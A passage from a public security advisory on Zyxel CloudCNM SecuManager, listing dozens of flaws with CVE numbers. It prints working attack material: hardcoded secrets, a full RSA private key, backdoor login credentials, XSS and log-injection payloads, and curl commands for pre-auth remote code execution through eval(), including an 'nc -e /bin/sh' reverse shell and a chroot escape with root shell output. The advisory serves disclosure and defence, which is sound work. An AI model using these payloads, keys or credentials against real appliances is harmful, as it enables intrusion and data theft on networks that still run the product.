-rw-r--r-- 1 210 210  0 Jul 12 2016 .removed
-rwxr-xr-x 1 210 210  5 Mar  6 2018 .layout
drwxr-xr-x 3 210 210 4096 Mar  6 2018 .
drwxr-xr-t 6 210 210 4096 Dec 20 2019 ..
root@chopin:/opt/axess/opt/axess/var/blobstorage#
```

The Data.fs file has also wrong permissions and is world-readable:

```
root@chopin:/opt/axess/opt/axess/var/blobstorage# ls -la /opt/axess/opt/axess/var/filestorage/Data.fs
-rw-r--r-- 1 210 210 31398638 Mar  6 2018 /opt/axess/opt/axess/var/filestorage/Data.fs
```

This file contains **cookies, password, hashes, access controls parameters, python code, serialized python variables and logs from TR-069**:

```
U<$2a$04$8B2Na1n.pzBrMw.8CTS8G.zDzWxNjug.qyvRnN/AxYhVFqkhFcmZ2q

U*{$SHA}q3rGsS15v0GeM6Dv0xuwlF0uq91oIHoz0mD8q

# {'CommandResponseList': {'CommandResponse': {'COMMAND': {'ERRNO': u'0', 'ERRMSG': u'OK', 'FORMAT': {'DATASET': {'ATTRIBUTE': [{'_Activate': u'YES'}, {'_ACS_URL': u'http://192.168.50.2:7549/VGABQNTPYG'}, {'_ACS_Username': u'Wd6XbNa04D7Y'}, {'_ACS_Password': u'6H0pyh11lyW8'}, {'_Username': ''}, {'_Password': ''}, {'_Server_Type': u'TR069_ACS'}, {'_Periodic_Inform': u'ENABLE'}, {'_Periodic_Inform_Interval': u'900'}, {'_HTTPS_Authentication': u'YES'}, {'_Vantage_Certificate': u'axess_dummy.crt'}, {'_CNM_ID_Switch': u'NO'}, {'_Auto_get_ACS_Activate': u'NO'}, {'_CNM_ID': ''}, {'_XMPP_Activate': u'YES'}, {'_XMPP_Username': u'a2'}, {'_XMPP_Domain': u'chopin'}, {'_XMPP_Resource': u'EC43F6FCC646'}, {'_XMPP_Host': u'192.168.50.2'}]}]}}, {'ScriptFile': u'/etc/zyxel/ftp.tmp/tr069download.dat', 'StartTime': u'2017-08-30T09:54:25', 'CompleteTime': u'2017-08-30T09:54:25'}

#subtree = {'CommandResponseList': {'CommandResponse': {'COMMAND': {'ERRNO': u'0', 'ERRMSG': u'OK', 'FORMAT': {'DATASET': {'ATTRIBUTE': [{'_DS_VALUE': u'P2P_201506181030'}, {'_IKD_ID': u'3'}, {'_negotiation_mode': u'main'}, {'_SALifetime': u'86400'}, {'_key_group': u'group2'}, {'_NAT_traversal': u'yes'}, {'_dead_peer_detection': u'yes'}, {'_fall_back': u'deactivate'}, {'_fall_back_check_interval': u'300'}, {'_authentication_method': u'pre-share'}, {'_pre_shared_key': u'87654321'}, {'_certificate': u'default'}, {'_user_ID': ''}, {'_type': ''}, {'_VPN_connection': u'P2P_201506181030'}, {'_vcp_reference_count': u'0'}, {'_IKE_version': u'IKEv1'}, {'_active': u'yes'}]}, {'DATASET': [{'ATTRIBUTE': [{'_DS_VALUE': u'1'}, {'_encryption': u'3des'}, {'_authentication': u'sha'}]}, {'ATTRIBUTE': [{'_DS_VALUE': u'192.168.50.3'}, {'_type': u'ip'}]}, {'ATTRIBUTE': [{'_DS_VALUE': u'1'}, {'_address': u'192.168.50.8'}]}, {'ATTRIBUTE': [{'_DS_VALUE': u'2'}, {'_address': u'0.0.0.0'}]}, {'ATTRIBUTE': [{'_DS_VALUE': u'B082DC7189C4'}, {'_type': u'fqdn'}]}, {'ATTRIBUTE': [{'_DS_VALUE': u'201506181030'}, {'_type': u'fqdn'}]}, {'ATTRIBUTE': [{'_DS_VALUE': u'no'}, {'_type': ''}, {'_method': ''}, {'_username': ''}, {'_password': ''}]}, {'ATTRIBUTE': [{'_DS_VALUE': u'no'}, {'_type': ''}, {'_aaa_method': ''}, {'_allowed_user': ''}, {'_allowed_auth_method': u'mschapv2'}, {'_username': ''}, {'_auth_method': u'mschapv2'}, {'_password': ''}]}]}]}}, {'ScriptFile': u'/etc/zyxel/ftp.tmp/tr069download.dat', 'StartTime': u'2017-06-21T04:10:09', 'CompleteTime': u'2017-06-21T04:10:09'}
```

Exposing this service on the WAN is likely to be a bad idea and will result as a pre-auth RCE as axess .

Details - MyZyxel 'Cloud' Hardcoded Secret

The device can connect to the MyZyxel service. The code responsible to exchange information between the appliance and the 'Cloud' is written in java.

The JAR file is executed from myzyxel.pyc using subprocess.Popen :

```
def decrypt(encrypted_string, encrypted_secret_key, action='aes_decode_with_plain_key'):
    JAVA_PROGRAM = 'java'
    Delegate_Util = '/opt/axess/Extensions/custom_code/MZCDelegate-protect.jar'
    RESULT_DECODING = 'UTF-8'
    sp = subprocess.Popen([JAVA_PROGRAM, '-jar', Delegate_Util, action, encrypted_secret_key, encrypted_string], stdout=
    [...]
```

The MZCDelegate-protect.jar file contains specific Zyxel code for encryption and has an interesting hardcoded resource file (IV.dat).

When reading the java code, it appears this IV.dat resource is used as as Secret Key along with a defined Initialization Vector (containing only 0s).

It seems this behavior may not completely follow best practices when dealing with encryption:

```
[...]
public final String a(String str) {
    IvParameterSpec ivParameterSpec = new IvParameterSpec(new byte[]{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0});
    ObjectInputStream objectInputStream = new ObjectInputStream(getClass().getResourceAsStream("/IV.dat"));
    try {
        Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding");
        instance.init(2, (SecretKeySpec) objectInputStream.readObject(), ivParameterSpec);
        String str2 = new String(instance.doFinal(Base64.decodeBase64(str)));
        objectInputStream.close();
        return str2;
    }
    [...]
}
```

Content of IV.dat :

```
vm# hexdump -C ./resources/IV.dat
00000000 ac ed 00 05 73 72 00 1f 6a 61 76 61 78 2e 63 72 |...sr..javax.cr|
00000010 79 70 74 6f 2e 73 70 65 63 2e 53 65 63 72 65 74 |ypto.spec.Secret|
00000020 4b 65 79 53 70 65 63 5b 47 0b 66 e2 30 61 4d 02 |KeySpec[G.f.0aM.|
00000030 00 02 4c 00 09 61 6c 67 6f 72 69 74 68 6d 74 00 |...l.algorithm.t.|
00000040 12 4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69 |.L.java/lang/Stri|
00000050 6e 67 3b 5b 00 03 6b 65 79 74 00 02 5b 42 78 70 |ng[...key...[Bxp|
00000060 74 00 03 41 45 53 75 72 00 02 5b 42 ac f3 17 f8 |t..AESur...[B....|
00000070 06 08 54 e0 02 00 00 78 70 00 00 00 20 ac d3 eb |..T....xp... ...|
00000080 1d 3c c1 af 97 82 59 ab 2b d5 00 9d 64 1f b5 1c |.<...Y+....d...|
00000090 bf 49 ed 2a 23 7c 65 f0 97 54 cc 88 09 |.I.*#|e..T...|
0000009d
```

Finally, it is interesting to note that myzyxel.pyc contains also hardcoded credentials:

```
user_key_id = '4B1D916BE2FA76042316'
user_secret = 'PAZsJJ55FrFmMivjAzgJYPC4fCQc3Wi9WVVZ5w=='
```

Details - Hardcoded Secrets, API

When reading the source code of the web (Python) application, it appears some critical variables are being imported:

```

root@chopin:/opt/axess/opt/axess# cat /opt/axess/opt/axess/zyxel/zyxel_customizations/live.CloudCNMEEntryPoint/config/c
onfig.py
axess_config = container.TR69Utils.get_axess_default_config()
config = {
    "zyxel_portal": {
        "host": axess_config.get('ZYXEL_PORTAL_HOST'),
        "app_key": axess_config.get('APP_KEY'),
        "login_redirect_uri": "/live/CloudCNMEEntryPoint",
        "logout_redirect_uri": "/live/CloudCNMEEntryPoint",
    }, "oauth_secret_key": axess_config.get('OAUTH_SECRET_KEY'),
    "jwt_secret": axess_config.get('SERVER_ACCESS_SECRET'),
    "jwt_secret_id": axess_config.get('SERVER_ACCESS_KEY_ID'),
    "account_api_url": axess_config.get('ACCOUNT_API_URL'),
    "https_verify": axess_config.get('HTTPS_VERIFY') == True,
}

```

The hardcoded configuration parameters come directly from the `/opt/axess/etc/default/axess` file:

```

NBI_USER="admin"
NBI_PASS="ax"
# Zyxel specific parameters
SERVER_ACCESS_KEY_ID=""
SERVER_ACCESS_SECRET=""
CNMS_API_URL="https://api.myzyxel.com/v1/my/cloud_cnms"
SECU_API_URL="https://api.myzyxel.com/v2/my/secu_managers"
APP_KEY="85ca73265e977fd46805163b8f7d66b0395b56f31b7e5850f2514f10d41a482b"
OAUTH_SECRET_KEY="SvaK1LoGZMu8ZgZ6TKJGCwx+xiEB0oS5LmaQUiYayUDTDbHFZtT3PCob9QL/pfzA3oGw0t0ANV04KTbkrAwonP41L+ax0ijqS9cAt
TPGSMfw="
ZYXEL_PORTAL_HOST="https://portal.myzyxel.com/"
DECRYPT_URL=""

```

Furthermore, the permissions of this file allows any user to read this file:

```

root@chopin:/opt/axess/opt/axess# ls -la /opt/axess/etc/default/axess
-rw-r--r-- 1 root root 2607 Mar  6 2018 /opt/axess/etc/default/axess

```

These hardcoded keys are used for secure communications between the appliance and the 'Cloud' management.

Details - Predefined passwords for admin accounts

By default, we can extract the pre-defined admin and the pre-defined users from mysql:

```

mysql> select * from Administrator_users;
+-----+-----+
| uid | props |
+-----+-----+
| admin | {'username': 'admin', 'created_ts': 'Mon Mar 21 15:48:12 2016', 'roles': (), 'authdbid': 'Administrator-9113
24', 'created_by': 'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$02K8FGhtvfaE7
QaIVlgP.G00CWfwwBuFBRNTvghCrfvf.nZAg0C', 'id': 'admin'} |
+-----+-----+
1 row in set (0.00 sec)

mysql> select * from Users_users;
+-----+-----+
| uid | props |
+-----+-----+
| admin | {'username': 'admin', 'created_ts': 'Fri May  8 11:25:20 2015', 'roles': ['Manager'], 'authdbid': 'Users-342
940', 'password_change_ts': 'Mon Jun  8 15:45:45 2015', 'created_by': 'axiros', 'miscProps': {}, 'additional_props':
{'fullname': ''}, 'password': '$2a$04$4YkCCSqUFy4hf/5W1uCok.OVG2LSQZNF4IR4Je5H7xqzfMrvmm', 'id': 'admin'} |
+-----+-----+

```

By doing some forensic, it is also trivial to extract previous admin/users:


```

root@chopin:/opt/mysql/var/lib/mysql/live# strings Administrator_users.*
{'username': 'admin', 'created_ts': 'Mon Mar 21 15:48:12 2016', 'roles': (), 'authdbid': 'Administrator-911324', 'created_by': 'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$02K8FGHtvfaLE7QaIVlGP.G00CWfrwvBuFBRNTvghCrFvf.nZAg0C', 'id': 'admin'}
, 'id': 'admin'}
me': 'greg', 'created_ts': 'Mon Oct 12 13:01:38 2015', 'roles': (), 'authdbid': 'Administrator-911324', 'password_change_ts': 'Thu Mar 3 09:33:36 2016', 'created_by': 'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$ZKtY/VngGEHngrO55Rv.N.I3rPXduY3tEC3Tg1LuGSUwJJIOR3PW', 'id': 'greg'}
me': 'yjyeh', 'created_ts': 'Wed Feb 17 11:47:07 2016', 'roles': (), 'authdbid': 'Administrator-911324', 'created_by': 'lorinyeh', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$rhS/v/aR8rkBCXL0f9ID.OhT9Gb9hwh.vh.0KpuQBLgFFZzMM0eCnS', 'id': 'yjyeh'}
me': 'wang', 'created_ts': 'Tue Feb 23 22:24:11 2016', 'roles': (), 'authdbid': 'Administrator-911324', 'password_change_ts': 'Tue Feb 23 22:49:27 2016', 'created_by': 'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$ZbDh/hVwIR7vhykP2DuZe06r4NcKE2kzKX3/.j9dL14Jr08FR5FS', 'id': 'wang'}
': 'ir', 'created_ts': 'Wed Mar 2 23:30:58 2016', 'roles': (), 'authdbid': 'Administrator-911324', 'password_change_ts': 'Wed Mar 2 23:31:34 2016', 'created_by': None, 'miscProps': {}, 'additional_props': {'fullname': 'Axiros GmbH Ing o Rubach'}, 'password': '$2a$04$RxHVLGGkb3E6fhD32FJWSe0b3mQpcEDJM62lgzL8bxLqPDsH9L5di', 'id': 'ir'}
admin
yjyeh

```

These information can be useful to find backdoor access.

Details - Insecure management over the 'Cloud'

By default, myzxel.pyc used for communication to the 'Cloud' uses some hardcoded variables for communication over HTTPS:

```

SERVER_ACCESS_KEY_ID = get_cfg_val('SERVER_ACCESS_KEY_ID')
SERVER_ACCESS_SECRET = get_cfg_val('SERVER_ACCESS_SECRET')
CNMS_API_URL = get_cfg_val('CNMS_API_URL')
HTTPS_VERIFY = get_cfg_val('HTTPS_VERIFY') == 'true'

SERVER_ACCESS_KEY_ID will be generated by the Cloud server
SERVER_ACCESS_SECRET will be generated by the Cloud server
CNMS_API_URL will be https://api.myzxel.com/v2/my/secu_managers

```

The function get_account_info uses the account_id, the jwt_secret and the jwt_secret_id:

```

106 def get_account_info(account_id, jwt_secret, jwt_secret_id):
107     payload = [...]
108     jwt_token = jwt_gen(payload, jwt_secret) # 1. generation of the payload
109     post_data = {'access_key_id': jwt_secret_id, # 2. jwt_gen encodes the post payload using the empty jwt_secret
110                 'token': jwt_token} # 3. new post data contains access_key_id=&token=post-data
111     try:
112         r = requests.get(SECU_API_URL, verify=HTTPS_VERIFY, data=post_data)
113         r.raise_for_status() # 4. the request is sent to https://api.myzxel.com/v2/my/secu_m
114         response = r.json()
115     except requests.exceptions.ConnectionError as e:
116         response = 'ConnectionError'
117     return response
118
102 def jwt_gen(payload, secret, algorithm='HS256'):
103     return jwt.encode(payload, secret, algorithm)

```

The jwt_secret and jwt_secret_id are generated as unique key for each appliance.

But an attacker can extract them using backdoors APIs (please read the sub-section Backdoor APIs) or by using the anonymous access to the ZODB interface and decrypting the secret account_id value.

Also, the connection to the cloud in myzxel.pyc is done over HTTPS. The Python script is using the requests module, with the HTTPS_VERIFY variable set to false from /opt/axess/etc/default/axess:

```

root@chopin:~# cat /opt/axess/etc/default/axess
[...]
# true or false is allowed
HTTPS_VERIFY=false
[...]

```

When reading myzxel.pyc, the value of HTTPS_VERIFY is always false. So the verification of certificate is never done from the appliance, allowing an attacker to MITM the HTTPS requests:

```

19 HTTPS_VERIFY = get_cfg_val('HTTPS_VERIFY') == 'true'
[...]
114 r = requests.get(SECU_API_URL, verify=HTTPS_VERIFY, data=post_data)
[...]
146 r = requests.patch(url1, verify=HTTPS_VERIFY, data=post_data)
[...]
180 r = requests.patch(url1, verify=HTTPS_VERIFY, data=post_data)
[...]
229 r = requests.post(url1, verify=HTTPS_VERIFY, data=post_data)
[...]
253 r = requests.get(url1, verify=HTTPS_VERIFY, data=post_data)
[...]
279 r = requests.patch(url1, verify=HTTPS_VERIFY, data=post_data)

```

The non-verification of SSL seems to be a standard practice in the code. e.g.:

```

ret = requests.get('https://service-dispatcher.cloud.zyxel.com/s/geoip/v1/geoInfo?ipAddress=' + cpeIp, verify=False, tim

```

It is recommended to avoid using the cloud functionality (api.myzxel.com - 54.174.11.58 AWS, 18.234.22.109 AWS and 54.84.22.89 AWS).

Details - xmppCnrSender.py log escape sequence injection

The Python script `xmppCnrSender.py` is running as root and provides an open HTTP/1.1-to-XMPP gateway on port 8083/tcp on the WAN interface for CPEs management.

The logs written in `/var/log/axmpp.log` are not sanitized and an attacker can send escape sequence injections.

```
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc -v [ip] 8083 < payload
```

(code from `http://www.ush.it/team/ush/hack_httpd_escape/adv.txt`
(`http://www.ush.it/team/ush/hack_httpd_escape/adv.txt`))

This is likely to change the admin's terminal title to `owned?` when he runs `cat /var/log/axmpp.log` or `tail -f /var/log/axmpp.log`.

Also, this will add some fun to this long journey.

Details - xmppCnrSender.py no authentication and clear-text communication

The Python script `xmppCnrSender.py` is running as root and provides an open HTTP/1.1-to-XMPP gateway on port 8083/tcp on the WAN interface for CPEs management.

2 Apis are provided:

- `/registerCpe/?JID=(username)s&PWD=(password)s`
- `/cnr/?JID=(jabberid)s&CRUs=(username)s&CRP=(password)s`

By default the traffic is not encrypted.

Furthermore, the registration is open and anyone can create accounts.

Details - Incorrect HTTP requests cause out of range access in Zope

By default, Apache2 is running on ports 9673/tcp and 80/tcp on the WAN interface. It provides an interface to a Zope WSGI.

By sending invalid HTTP requests, it is possible to cause exceptions in Zope because of the lack of the `/` in the HTTP version:

```
vm# telnet 192.168.1.1 9673
GET / yolo <---- yolo is used instead of 'PROTOCOL/VERSION'

HTTP/1.1 500 Internal Server Error
[...]

An error occurred. See the error logs for more information.
<type 'exceptions.IndexError'> - list index out of range
```

The problem appears to come from the Zope library:

<https://github.com/zopefoundation/Zope/blob/master/src/ZPublisher/WSGIPublisher.py#L347>
(<https://github.com/zopefoundation/Zope/blob/master/src/ZPublisher/WSGIPublisher.py#L347>):

```
343     new_response = (
344         _response
345     [...]
```

```
347     new_response._http_version = environ['SERVER_PROTOCOL'].split('/')[1]
```

Details - XSS on the web interface

The webinterface on ports 80/tcp and 9673/tcp is prone to a lot of XSS:

```
vm# curl -v 'http://192.168.1.1:9673/live/CPManager/AXCampaignManager/handle_campaign_script_link?JSON=1&script_name=
<XSS>'
<XSS>

vm# curl -v 'http://192.168.1.1:9673/live/CPManager/AXCampaignManager/handle_campaign_script_link?script_name=ddaaaa
a>'
<a title="<ddaaaaa>" href="/<ddaaaaa>/manage" target="_blank"><ddaaaaa></a>#

vm# curl -v 'http://192.168.1.1:9673/live/CPManager/AXCampaignManager/generate_sp_link?cid2=<xss>'
<xss>
```

Finding others XSS is left as an exercise for the reader.

Details - Private SSH key

The system contains an hardcoded SSH Key in the TR69 configuration:

```

root@chopin:/opt/axess/opt/axess/AXAssets# cat /opt/axess/opt/axess/AXAssets/default_axess/axess/TR69/Handlers/turboli
nk/sshkeys/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQOC4GnOyypl29j1K3cye/MDRXobza+4gdCF9hUKxKdA/HRpeOB1
vPZ5FuQRFr6tSHAC0d5xAMIlnWmhu/c4F9o/gdF1ZrfsyUJ39seTVBKQFBesgZ1F
Xjmf/zBatrpc0DwvpxY1q10CHGt8G3002F3rBrJBkFTMXFF9xUmEudH4nQI8IwKB
gCFoTKcbg5f5zWQktVkcK8A8we1USNBEAT6Hvq9X104d7vC9WjOD70nsOfT5bZfG4
Tbc9HtGLGfnczypavKqHvWfGwryF02pz1v6NsqqvqPX156r05GNb5yGrve6k+4ah
X3BDfxd15bRIYzuYAgAmLXe8yDcDR1x8KbrVQUtJXhULAKAE8T6HyD8Lp2wKfwgo
nMJ7Qz5F3h/2c5CyYyLHj91156m9KcLJB1J2AeVY04hcV3In10pQ7osU5cdhJK0S
QRnAkQJBAM7L2G+rdsNNV07VibahJ5U8rOyaYKpUqTI5ow8hvn2QY55D81h8HRM
wuk03E6CiWBCr7lbCqa2s8n05fdovU0CQC6Gkt9NmgtC3ph/vrCE18WncDeja97
12UKpc011qtiQRZls4Ujh/V04UdZZz5exLC0pv8KMIiYQV/p7YPTDIn6bAkEAn4dP
MZLml1q1ext7uHyva0Sj08Q1gg2Xhm8YQEvzGj11xa3XQpcCU7ACznfUwAgztoge0
33IeKNYS0jHz0zOKtwJBAKnI1Bv1GAw8vEcmTC2NRPCPm9Ta//04rk6DTs11SaU4
8Zav73P9sJwbn0CzBR17qaHjK6Zx9L9h04bdK5uvdeE=
-----END RSA PRIVATE KEY-----
root@chopin:/opt/axess/opt/axess/AXAssets#

```

Details - Backdoor APIs

Some APIs are reachable without authentication and don't have any documentation. The codes exist as object inside the ZDOB:

- `http://[ip]:9673/update_all_realm_license?cnmid=%s`
- `http://[ip]:9673/zy_install_user`
- `http://[ip]:9673/zy_install_user_key`
- `http://[ip]:9673/zy_get_user_id_and_key?cnmid=%s' % cnmid` <- allows to dump the 'access_key_id' and the 'secret_access_key'
- `http://[ip]:9673/zy_get_instances_for_update`
- `http://[ip]:9673/live/GLOBALS?key=CLOUDCNM`
- `http://[ip]:9673/update_all_realm_license?cnmid=%s`
- `http://[ip]:9673/zy_install_user`
- `http://[ip]:9673/zy_install_user_key`
- `http://[ip]:9673/zy_get_user_id_and_key?cnmid=%s' % cnmid` <- allows to dump the 'access_key_id' and the 'secret_access_key'
- `http://[ip]:9673/zy_get_instances_for_update`
- `http://[ip]:9673/live/GLOBALS?key=CLOUDCNM`

`/zy_get_user_id_and_key` seems to allow an attacker to dump the `access_key_id` and the `secret_access_key` used for the 'Cloud' configuration, without authentication.

Details - Backdoor management access and RCE

The web interface on ports 80/tcp and 9673/tcp has a backdoor management access allowing to download and upload python code, templates, webpages and ZEXPs.

The credentials are: `axiros / q6xV4aW8bQ4cFD-b`

We are using the available `zcp.py` tool in `/opt/axess/opt/axess/zyxel`. This pre-written tool allows to upload some files remotely and update the ZODB objects.

We download the files:

```

vm# ./zcp.py -v -r -f -u axiros -p q6xV4aW8bQ4cFD-b http://192.168.1.1:9673/live/CPManager/AXCampaignManager dir
axess root@chopin:/opt/axess/zyxel/tmp# ./zcp.py -v -r -f -u axiros -p q6xV4aW8bQ4cFD-b http://192.168.1.1:9673/live/CP
PEManager/AXCampaignManager dir
DEBUG:root:Download mode engaged
INFO:requests.packages.urllib3.connectionpool:Starting new HTTP connection (1): 192.168.1.1
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/manage_main?__ac_name=axiros&__ac_password=q6xV4aW8bQ4cFD-b
HTTP/1.1" 200 4335
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/CPManager/AXCampaignManager/manage_main HTTP/1.1" 200 3680
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/CPManager/AXCampaignManager/charts/manage_main HTTP/1.1" 20
0 3374
DEBUG:root:Downloading .py at charts campaign_line_chart.html
[...]
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/CPManager/AXCampaignManager/campaign_log_actions/document_s
rc HTTP/1.1" 200 347
Download complete at 11:11:14, took 0.2794 Seconds

```

We add the python code inside `dir/handle_campaign_script_link.py`:

```
vm# echo 'return 1 + 1' > dir/handle_campaign_script_link.py
```

We then upload the updated python file using the provided `zcp.py` tool:

```

vm# ./zcp.py -v -r -f -u axiros -p q6xV4aW8bQ4cFD-b dir http://192.168.1.1:9673/live/CPManager/AXCampaignManager
DEBUG:root:Upload mode engaged
INFO:requests.packages.urllib3.connectionpool:Starting new HTTP connection (1): 192.168.1.1
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/manage_main?__ac_name=axiros&__ac_password=q6xV4aW8bQ4cFD-b
HTTP/1.1" 200 4335
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/CPManager/AXCampaignManager/manage_main HTTP/1.1" 200 3680
[...]

```

Testing the execution of Python:

```
vm# curl 'http://192.168.1.1:9673/live/CPManager/AXCampaignManager/handle_campaign_script_link'
2
```

Python code is successfully executed on the appliance as `axess`.

Details - Pre-auth RCE with chrooted access

It is possible to achieve RCE by abusing an insecure API due to unsafe calls to `eval()`:

```
vm# curl "http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/delete_cpes_by_ids?cpe_ids=__import__('os').system('id>/tmp/a')"
```

Output is stored in the "Acess" chroot:

```
root@chopin:/opt/axess/tmp# cat /opt/axess/tmp/a
uid=210(axess) gid=210(axess) groups=210(axess)
```

It is also possible to get a connect-back shell:

```
vm# curl "http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/delete_cpes_by_ids?cpe_ids=__import__('os').system('nc+-e+/bin/sh+192.168.1.2+1337')"
```

On 192.168.1.2, the attacker receives the shell:

```
vm# nc -l -v -p 1337
listening on [any] 1337 ...
connect to [192.168.1.2] from (UNKNOWN) [192.168.1.1] 39910
id
uid=210(axess) gid=210(axess) groups=210(axess)
uname -ap
Linux chopin 3.2.0-5-amd64 #1 SMP Debian 3.2.96-3 x86_64 GNU/Linux
```

Also, even if the shell is within a chrooted environment, it is possible to break the chroot using a LPE and the fact that /proc is mounted inside the chroot:

```
vm# nc -l -v -p 1337
listening on [any] 1337 ...
connect to [192.168.1.2] from (UNKNOWN) [192.168.1.1] 39910
id
uid=0(root) gid=0(root) groups=0(root)
ls / | head
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
chroot /proc/1/root      # PRISON BREAK!
ls / | head
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
```

Vendor Response

Full-disclosure is applied as we believe some backdoors are intentionally placed by the vendor.

Also, there are likely to be way more 0day vulnerabilities in the appliance, but we decided not to dig more due to time constraints.

On a side note, the solution also contains some SQLi, some references to ISPs in Greece(?) and Germany.

Report Timeline

- Dec 20, 2019: Vulnerabilities found and this advisory was written.
- Mar 09, 2020: A public advisory is sent to security mailing lists.
- Jun 26, 2020: MITRE provides CVE-2020-15312, CVE-2020-15313, CVE-2020-15314, CVE-2020-15315, CVE-2020-15316, CVE-2020-15317, CVE-2020-15318, CVE-2020-15319, CVE-2020-15320, CVE-2020-15321, CVE-2020-15322, CVE-2020-15323, CVE-2020-15324, CVE-2020-15325, CVE-2020-15326, CVE-2020-15327, CVE-2020-15328, CVE-2020-15329, CVE-2020-15330, CVE-2020-15331, CVE-2020-15332, CVE-2020-15333, CVE-2020-15334, CVE-2020-15335, CVE-2020-15336, CVE-2020-15337, CVE-2020-15338, CVE-2020-15339, CVE-2020-15340, CVE-2020-15341, CVE-2020-15342, CVE-2020-15343, CVE-2020-15344, CVE-2020-15345, CVE-2020-15346, CVE-2020-15347, CVE-2020-15348.

Credits

These vulnerabilities were found by Pierre Kim (@PierreKimSec (<https://twitter.com/PierreKimSec>)) and Alexandre Torres.

References

<https://pierrekim.github.io/advisories/2020-zyxel-0x00-secumanager.txt> (<https://pierrekim.github.io/advisories/2020-zyxel-0x00-secumanager.txt>)

<https://pierrekim.github.io/blog/2020-03-09-zyxel-secumanager-0day-vulnerabilities.html>
(<https://pierrekim.github.io/blog/2020-03-09-zyxel-secumanager-0day-vulnerabilities.html>)

Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License:

<http://creativecommons.org/licenses/by-nc-sa/3.0/> (<http://creativecommons.org/licenses/by-nc-sa/3.0/>)

published on 2020-03-09 00:00:00 by Pierre Kim <pierre.kim.sec@gmail.com>